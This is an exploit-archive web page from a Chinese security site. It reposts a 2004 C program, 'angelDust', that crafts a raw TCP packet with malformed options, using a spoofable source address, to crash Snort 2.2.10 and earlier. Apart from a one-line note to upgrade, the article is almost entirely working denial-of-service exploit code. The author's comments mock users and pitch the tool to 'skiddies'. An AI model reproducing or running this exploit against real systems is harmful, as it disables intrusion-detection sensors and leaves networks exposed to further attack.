首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Snort <= 2.2.10 Remote Denial of Service Exploit
来源:Antimatt3r 作者:angelDust 发布时间:2004-12-23  

Snort <= 2.2.10 Remote Denial of Service Exploit

Solution : Upgrade to Snort 2.3.0-RC1 or later

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <getopt.h>

#define BINARYBETA

void printUsage()
{
printf("./angelDust -D <destination_ip> -S <source_ip>\n");
printf("Please as with all inhalants use wisely in the comfort of your own home\n");
}


int main(int argc, char **argv)
{
int s;
int next_opt;
const char* const short_opts="hD:S:";
//either one there both not valid protocol
//char opts[] = "\x02\04\xff\xff";
char opts[] = "\x06\00\xff\xff";

char datagram[64];
struct sockaddr_in addr;
struct ip *ip = (struct ip *) datagram;
struct tcphdr *tcp;
char dst_ip[16];
char src_ip[16];
#ifdef BINARYBETA
if(strstr (argv[0],"/angelDust") == NULL)
{
printf("Cmon you stupid llama, put the original name back\n");
exit(-1);
}
#endif

if(argc < 2)
{
printf("angelDust by Antimatt3r\n");
printf("pr0ps to Marcin for finding this bug\n");
printf("pr0ps to me for making something useful out of it for the skiddies\n");
exit(-1);
}


const struct option long_opts[]=
{
{"help", 0, NULL,'h'},
{"destination_ip",1,NULL,'D'},
{"source_ip",1,NULL,'S'},
};

strncpy(dst_ip,"127.0.0.1",16);
strncpy(src_ip,"127.0.0.1",16);

do
{
next_opt = getopt_long(argc,argv,short_opts,long_opts,NULL);
switch( next_opt)
{
case 'h' :
printUsage();
return 0;
case 'D' :
strncpy(dst_ip,optarg,16);
break;
case 'S' :
strncpy(src_ip,optarg,16);
break;

}
}
while(next_opt != -1) ;


memset(&datagram, 0, sizeof(datagram));
addr.sin_addr.s_addr = inet_addr(dst_ip);
addr.sin_port = htons(123);
addr.sin_family = AF_INET;

ip->ip_hl = 5;
ip->ip_v = 4;
ip->ip_tos = 0;
ip->ip_id = 0;
ip->ip_off = 0;
ip->ip_ttl = 64;
ip->ip_p = IPPROTO_TCP;
ip->ip_len = 44;
ip->ip_sum = 0;
ip->ip_dst.s_addr = addr.sin_addr.s_addr;
ip->ip_src.s_addr = inet_addr(src_ip);

tcp = (struct tcphdr *) (datagram + (ip->ip_hl << 2));
tcp->source = htons(321);
tcp->dest = addr.sin_port;
tcp->seq = 0;
tcp->ack = 0;
tcp->res1 = 0;
tcp->doff = 6;
tcp->syn = 0;
tcp->window = 0x1000;
tcp->check = 0;
tcp->urg_ptr = 0;

memcpy(datagram + 40, opts, sizeof(opts));

if ((s = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) {
perror("socket");
exit(0);
}

if (sendto(s, datagram, ip->ip_len, 0, (struct sockaddr *) &addr,
sizeof(struct sockaddr_in)) == -1) {
perror("sendto");
exit(-1);
}
fprintf(stderr,"Sniff this\n");
fprintf(stderr,"..............//");
sleep(1);
fprintf(stderr,"\b\b\b\b// ");
sleep(1);
fprintf(stderr,"\b\b\b\b\b\b// ");
sleep(1);
fprintf(stderr,"\b\b\b\b\b\b\b\b// ");
sleep(1);
fprintf(stderr,"\b\b\b\b\b\b\b\b\b\b// ");
sleep(1);
fprintf(stderr,"\b\b\b\b\b\b\b\b\b\b\b\b// \n");
printf("and choke!\n");

close(s);
return 0;
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Webmin Remote BruteForce and C
·Php Safe_mode Bypass Proof of
·Santy.A - phpBB <= 2.0.10 W
·AIX 5.1 to 5.3 lsmcode Local R
·AIX 5.3/5.2/5.1 "paginit" loca
·Internet Explorer and MSN Mess
·Ultrix 4.5/MIPS dxterm Local B
·Linux Kernel 2.6.x sys_chown()
·Linux Kernel <= 2.6.9, <
·Solaris 7/8/9 CDE LibDTHelp Lo
·Linux Kernel <= 2.6.9, <
·Solaris 7/8/9 CDE LibDTHelp Lo
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved